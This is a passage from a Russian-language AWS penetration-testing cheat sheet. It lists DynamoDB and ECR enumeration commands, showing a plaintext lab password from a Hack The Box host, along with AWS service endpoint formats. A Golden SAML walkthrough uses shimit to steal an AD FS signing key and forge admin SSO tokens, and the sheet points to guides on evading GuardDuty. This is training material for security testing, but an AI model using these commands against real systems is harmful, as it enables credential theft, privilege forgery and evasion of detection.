Для этого можно воспользоваться утилитой pacu, которая автоматически подменяет useragent. Использование утилиты в конце статьи.
DynamoDB
Cистема управления базами данных класса NoSQL в формате «ключ — значение».
Роли - управление
dynamodb:ListTables
Позволяет посмотреть спрсок таблиц базы данных.
aws --endpoint-url http://s3.bucket.htb dynamodb list-tables
{
"TableNames": [
"users"
]
}
dynamodb:Scan
Получение обьектов из базы данных:
aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name users | jq -r '.Items[]'
{
"password": {
"S": "Management@#1@#"
},
"username": {
"S": "Mgmt"
}
}
ES (ElasticSearch)
ElasticSearch от AWS. Используется для просмотра логов/журналов, поиска на вебсайте и тд.
Формат ссылки:
https://{user_provided}-{random_id}.{region}.es.amazonaws.com
ELB (Elastic Load Balancing)
Балансировщик нагрузки.
Формат ссылки (elb_v1):
http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443
Формат ссылки (elb_v2):
https://{user_provided}-{random_id}.{region}.elb.amazonaws.com
RDS (Relational Database Service)
Облачная реляционная база данных (на выбор).
Формат ссылки:
mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306
postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432
Route 53
Настраиваемая служба DNS.
Формат ссылки:
{user_provided}
API Gateway
API-сервис, который будет доступен почти со всех серверов.
Формат ссылки:
https://{restapi_id}.execute-api.{region}.amazonaws.com/{stage_name}/
https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}
CloudSearch
Альтернатива сервису ElasticSearch. Система для упрощения поиска для администрирования и, например, на вебсайте.
Формат ссылки:
https://doc-{user_provided}-{random_id}.{region}.cloudsearch.amazonaws.com
Transfer Family
Группа сервисов для передачи файлов (S3/EFS) по (SFTP, FTPS, FTP).
Формат ссылки:
sftp://s-{random_id}.server.transfer.{region}.amazonaws.com
ftps://s-{random_id}.server.transfer.{region}.amazonaws.com
ftp://s-{random_id}.server.transfer.{region}.amazonaws.com
IoT (Internet Of Things)
Сервис для управления IoT-устройствами.
Формат ссылки:
mqtt://{random_id}.iot.{region}.amazonaws.com:8883
https://{random_id}.iot.{region}.amazonaws.com:8443
https://{random_id}.iot.{region}.amazonaws.com:443
MQ
Сервис брокера сообщений для Apache ActiveMQ & RabbitMQ.
Формат ссылки:
https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162
ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617
MSK (Managed Streaming for Apache Kafka)
Сервис потоковой передачи данных в Apache Kafka.
Формат ссылки:
b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com
{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com
Cloud9
Облачная интегрированная среда разработки(IDE) используя только браузер.
Формат ссылки:
https://{random_id}.vfs.cloud9.{region}.amazonaws.com
MediaStore
Cервис хранилища AWS, оптимизированный для мультимедийных материалов.
Формат ссылки:
https://{random_id}.data.mediastore.{region}.amazonaws.com
Kinesis Video Streams
Обеспечивает простую и безопасную потоковую передачу видео с подключенных устройств в AWS для воспроизведения, аналитики, машинного обучения (ML) и других видов обработки.
Формат ссылки:
https://{random_id}.kinesisvideo.{region}.amazonaws.com
Elemental MediaConvert
Сервис перекодирования видеофайлов с возможностями на уровне вещательных компаний. Он позволяет просто создавать контент в формате «видео по требованию» (VOD) для трансляций, в том числе мультиэкранных, в любом масштабе.
Формат ссылки:
https://{random_id}.mediaconvert.{region}.amazonaws.com
Elemental MediaPackage
Cервис для подготовки и защиты видеоконтента, распространяемого через Интернет. AWS Elemental MediaPackage использует один источник видео и создает на его основе специализированные видеопотоки для воспроизведения на подключенных телевизорах, мобильных телефонах, компьютерах, планшетах и игровых консолях.
Формат ссылки:
https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel
ECR (Elastic Container Registry)
Региональный сервис, предназначенный для обеспечения гибкого развертывания образов.
Роли - управление
ecr:ListImages
Получить список образов:
aws ecr list-images --repository-name <ECR_name> --registry-id <UserID> --region <region> --profile <profile_name>
ecr:GetDownloadUrlForLayer
Позволяет получить URL на скачивание образа.
ecr:GetDownloadUrlForLayer + ecr:BatchGetImage + ecr:GetAuthorizationToken
Позволяет скачать образ (мб потребуется и ecr:ListImages чтобы получить список образов):
aws ecr get-login
docker pull <UserID>.dkr.ecr.us-east-1.amazonaws.com/<ECRName>:latest
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
Утилиты
Вычисление ролей
enumerate-iam
github.com:andresriancho/enumerate-iam.git
Эксплуатация
Golden SAML
Суть атаки в том, что зная ключ, которым подписываются SAML-запросы, вы можете подделать ответ и получить произвольные привилегии в SSO.
Подробнее про эксплуатацию тут: https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps
shimit
https://github.com/cyberark/shimit
Установка:
cd /tmp
python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml
git clone https://github.com/cyberark/shimit
cd shmit
python shmit.py
В начале потребуется доступ к AD FS аккаунту из персонального хранилища которого украсть приватный ключ ключ.
Сделать это можно используя mimikatz, но в примере сделано через библиотеку Microsoft.Adfs.Powershell и powershell
Пример эксплуатации:
# Получаем приватный ключ
[System.Convert]::ToBase64String($cer.rawdata)
(Get-ADFSProperties).Identifier.AbsoluteUri
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule
# Получаем инфу о юзерах - выбираем цель
aws iam list-users
# Получаем токен
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file
-u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
# Проверяем текущий аккаунт
aws opsworks describe-my-user-profile
Проверки безопасности
Для администраторов преимущественно.
Zeus
https://github.com/DenizParlak/Zeus
Другое
aws_consoler
https://github.com/NetSPI/aws_consoler
All-In-One
pacu
ScoutSuite
https://github.com/nccgroup/ScoutSuite
Ссылки
Статьи
Hijacking IAM Roles and Avoiding Detection
Bypass GuardDuty PenTest Alerts
Лаборатории
Damn Vulnerable Cloud Application